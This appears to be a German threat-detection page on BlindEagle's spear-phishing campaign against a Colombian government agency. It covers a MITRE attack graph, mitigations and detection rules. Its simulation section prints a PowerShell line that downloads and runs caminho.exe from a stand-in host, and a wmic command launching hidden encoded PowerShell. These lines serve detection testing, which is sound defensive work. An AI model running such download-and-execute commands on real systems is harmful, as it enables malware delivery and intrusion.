BlindAdler zielt mit Caminho und DCRAT auf kolumbianische Regierungsbehörde ab
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
BlindEagle führte eine Spear-Phishing-Operation durch, die sich gegen eine kolumbianische Regierungsbehörde richtete. Dabei wurde ein manipuliertes SVG-Anhang geliefert, das eine JavaScript-zu-PowerShell-Ausführungskette einleitete. Diese Sequenz lud einen Downloader namens Caminho herunter, der dann den Open-Source-DCRAT-Remote-Access-Trojaner, der auf Discord gehostet wird, holte. Die Endphase nutzte Process Hollowing für MSBuild.exe und wendete mehrere Ausweichmethoden an, um die Erkennung zu reduzieren.
Untersuchung
Zscaler ThreatLabz analysierte den Infektionsfluss und berichtete von einem SVG-Schmuggelansatz, mehreren Ebenen von verschleiertem JavaScript, einem WMI-getriggerten PowerShell-Befehl und einer Caminho-Lieferung durch eine auf Discord gehostete URL. Auch die mit der unterstützenden Infrastruktur verbundenen schwedischen IP-Adressen und ein dynamischer DNS-Anbieter wurden untersucht (ydns.eu).
Minderung
Wenden Sie strengere Kontrollen für eingehende E-Mail-Anhänge an – insbesondere für SVG-Inhalte – und erzwingen Sie die Entwaffnung/Inspektion von eingebetteten Skripten. Verwenden Sie Webproxy-Richtlinien, um den Zugriff auf verdächtige File-Hosting-Endpunkte, einschließlich auf Discord gehostete Malware-Datei-URLs, einzuschränken. Überwachen Sie ungewöhnliche PowerShell- und WMI-Ausführungsmuster, und erzwingen Sie Anwendungs-Zulassungsrichtlinien für die Nutzung von MSBuild.exe.
Antwort
Antwort
Lösen Sie Warnungen für das bösartige SVG-Artefakt, den referenzierten JavaScript-Dateinamen und Downloads, die die Discord-URL erreichen, aus. Suchen Sie nach im Speicher oder auf der Festplatte befindlichen Spuren von Caminho und DCRAT, Hinweisen auf MSBuild.exe Process Hollowing und Persistenz durch Registrierungsänderungen oder geplante Aufgaben. Isolieren Sie betroffene Endpunkte und blockieren Sie die identifizierte C2-Domain.
„graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Nodes initial_access_phishing[„<b>Aktion</b> – <b>T1566.001 Phishing-Anhang</b><br/>SVG-Anhang in E-Mail“] class initial_access_phishing action user_exec_malicious_link[„<b>Aktion</b> – <b>T1204.001 Benutzer Ausführung</b><br/>Klicke bösartige SVG-Grafik“] class user_exec_malicious_link action user_exec_malicious_file[„<b>Aktion</b> – <b>T1204.002 Benutzer Ausführung</b><br/>Öffne JavaScript-Datei“] class user_exec_malicious_file action obfuscation_svg_smuggling[„<b>Technik</b> – <b>T1027.017</b><br/>SVG-Schmuggel zur Skriptverschleierung“] class obfuscation_svg_smuggling technique obfuscation_embedded_payloads[„<b>Technik</b> – <b>T1027.009</b><br/>Base64-kodierte JavaScript-Nutzlasten“] class obfuscation_embedded_payloads technique command_js[„<b>Technik</b> – <b>T1059.007 JavaScript</b><br/>Deobfuskationsskripte“] class command_js technique command_powershell[„<b>Technik</b> – <b>T1059.001 PowerShell</b><br/>WMI Create zur Ausführung von PowerShell“] class command_powershell technique event_wmi_subscription[„<b>Technik</b> – <b>T1546.003</b><br/>WMI-Ereignis-Subscription-Ausführung“] class event_wmi_subscription technique obfuscation_steganography[„<b>Technik</b> – <b>T1027.003</b><br/>Nutzlast im PNG-Bild versteckt“] class obfuscation_steganography technique reflective_code_loading[„<b>Technik</b> – <b>T1620</b><br/>Reflektive .NET-Assembly-Ladung“] class reflective_code_loading technique process_hollowing[„<b>Technik</b> – <b>T1055.012</b><br/>MsBuild Hollowing“] class process_hollowing technique downloader_caminho[„<b>Werkzeug</b> – <b>Name</b>: Caminho-Downloader<br/><b>Zweck</b>: DCRAT abrufen“] class downloader_caminho tool malware_dcrat[„<b>Malware</b> – <b>Name</b>: DCRAT“] class malware_dcrat malware amsi_bypass[„<b>Technik</b> – <b>T1027.005</b><br/>AMSI patchen, um Erkennung zu umgehen“] class amsi_bypass technique persistence_run_key[„<b>Technik</b> – <b>T1547.001</b><br/>Run-Schlüssel im Registry erstellen“] class persistence_run_key technique persistence_scheduled_task[„<b>Technik</b> – <b>T1053</b><br/>Geplante Aufgabe erstellen“] class persistence_scheduled_task technique c2_discord[„<b>Kommando & Kontrolle</b> – Discord-URL für Nutzlastverbreitung verwendet“] class c2_discord technique %% Connections initial_access_phishing u002du002d>|führt zu| user_exec_malicious_link user_exec_malicious_link u002du002d>|führt zu| user_exec_malicious_file user_exec_malicious_file u002du002d>|führt zu| obfuscation_svg_smuggling obfuscation_svg_smuggling u002du002d>|führt zu| obfuscation_embedded_payloads obfuscation_embedded_payloads u002du002d>|führt zu| command_js command_js u002du002d>|führt zu| command_powershell command_powershell u002du002d>|führt zu| event_wmi_subscription event_wmi_subscription u002du002d>|führt zu| obfuscation_steganography obfuscation_steganography u002du002d>|führt zu| reflective_code_loading reflective_code_loading u002du002d>|führt zu| process_hollowing process_hollowing u002du002d>|führt zu| downloader_caminho downloader_caminho u002du002d>|lädt herunter| malware_dcrat malware_dcrat u002du002d>|führt aus| amsi_bypass malware_dcrat u002du002d>|etabliert| persistence_run_key malware_dcrat u002du002d>|etabliert| persistence_scheduled_task malware_dcrat u002du002d>|verwendet| c2_discord „
Angriffsfluss
Erkennungen
Verdächtige PowerShell-Strings (via powershell)
Anzeigen
LOLBAS WScript / CScript (via process_creation)
Anzeigen
Mögliche Internetarchiv-Auflösung durch ungewöhnlichen Prozess (via dns_query)
Anzeigen
Aufruf verdächtiger .NET-Methoden aus PowerShell (via powershell)
Anzeigen
IOCs (HashMd5) zur Erkennung: BlindEagle zielt auf kolumbianische Regierungsbehörde mit Caminho und DCRAT
Anzeigen
IOCs (SourceIP) zur Erkennung: BlindEagle zielt auf kolumbianische Regierungsbehörde mit Caminho und DCRAT
Anzeigen
IOCs (HashSha1) zur Erkennung: BlindEagle zielt auf kolumbianische Regierungsbehörde mit Caminho und DCRAT
Anzeigen
IOCs (HashSha256) zur Erkennung: BlindEagle zielt auf kolumbianische Regierungsbehörde mit Caminho und DCRAT
Anzeigen
IOCs (DestinationIP) zur Erkennung: BlindEagle zielt auf kolumbianische Regierungsbehörde mit Caminho und DCRAT
Anzeigen
Erkennung des BlindEagle-PowerShell-Befehls unter Nutzung von WMI [Windows PowerShell]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie- und Basislinien-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennung erwartet wird.
-
Angriffserzählung & Befehle:
Der Bedrohungsakteur (BlindEagle) verwendet WMI, um einen PowerShell-Prozess zu starten, der das „Caminho“-Payload von einem Remote-C2-Server herunterlädt und im Speicher ausführt. Durch die Nutzung vonwmic.exemit derprocess call createMethode kann der Angreifer PowerShell ohne Interaktion mit einer Benutzersitzung ausführen, wodurch die Aktivität unauffällig bleibt. Die Befehlszeile enthält das wörtliche Wort „powershell“, was die Bedingung der Erkennungsregel erfüllt.-
Phase 1 – Bereiten Sie die bösartige PowerShell-Einzeiler vor:
$url = "http://malicious.example.com/caminho.exe" $out = "$env:TEMPcaminho.exe" Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out -
Phase 2 – Ausführung über WMI:
$psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>' wmic process call create "$psCmd"
Das Vorhandensein von
powershellimCommandLineFeld des durch denwmicuntergeordneten Prozesses generierten Sysmon Event 1 wird die Regel auslösen. -
-
Regressionstest-Skript:
# BlindEagle PowerShell über WMI-Simulation # ---------------------------------------------------------------------- # 1. Definieren Sie bösartiges Payload (für den Test verwenden wir einen harmlosen Echo-Befehl) $payload = 'Write-Host "Simulierte Caminho-Ausführung"' $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Erstellen Sie die PowerShell-Befehlszeile, die das wörtliche Wort "powershell" enthält $psCommand = "powershell -NoProfile -EncodedCommand $encoded" # 3. Starten Sie den Befehl über WMI (wmic), um ein Sysmon EventID 1 zu generieren $wmicCommand = "wmic process call create `"$psCommand`"" Write-Host "Ausführung via WMI: $wmicCommand" Invoke-Expression $wmicCommand # 4. Optional: Protokollieren Sie zur Überprüfung in die Konsole Write-Host "Simulation abgeschlossen. Überprüfen Sie die Erkennung im SIEM." -
Bereinigungskommandos:
# Entfernen Sie alle temporären Dateien (keine in dieser Simulation erstellt) # Beenden Sie alle verbleibenden wmic oder PowerShell-Prozesse, die für den Test gestartet wurden Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "Bereinigung abgeschlossen."